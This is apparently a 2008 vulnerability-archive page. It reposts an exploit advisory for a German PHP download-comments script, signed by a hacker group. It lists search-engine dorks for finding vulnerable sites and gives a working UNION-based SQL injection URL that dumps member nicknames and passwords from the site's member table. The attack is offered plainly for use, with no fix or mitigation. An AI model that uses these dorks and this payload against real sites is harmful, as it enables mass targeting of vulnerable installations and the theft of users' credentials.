Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

joomla (k12. tr)(com_iomez un)SQL Injection

joomll(k12. tr)(com_mezun )SQL Injection

joomla (k12. tr)(com_iomez un)SQL Injection

my little forum XSS

From:	hackturkiye.hackturkiye_(at)_gmail.com <hackturkiye.hackturkiye_(at)_gmail.com>
Date:	12.02.2008
Subject:	Kommentare zum Download script SQL Injection

#########################################################################
#  
#  COUNTER STRİKE PORTALS(Kommentare zum Download)  
#
#########################################################################  
#
# script
download=http://www.phpwelt.de/scripte/Sonstiges/?PHPSESSID=3cfc7efaa4b2a50e397b8
01526944fe6
#  
# AUTHOR : S@BUN  
#
# HOME : http://www.hackturkiye.com/  
#
# MAİL : hackturkiye.hackturkiye@gmail.com
#
#########################################################################
#  
# DORK 1 : allinurl: id mode=details "index.php?page=downloads"
#  
# DORK 2 : allinurl: index.php?page=news "mode=comment"
#
 DORK 3 : "Kommentare zum Download"

#########################################################################
EXPLOIT :  

index.php?page=downloads&mode=details&id=-1/**/union/**/select/**/0,
member_nick,111,member_pass,222,333,444,555,666/**/from/**/tbl_member/*

#########################################################################
# S@BUN            i AM NOT HACKER        S@BUN  
#########################################################################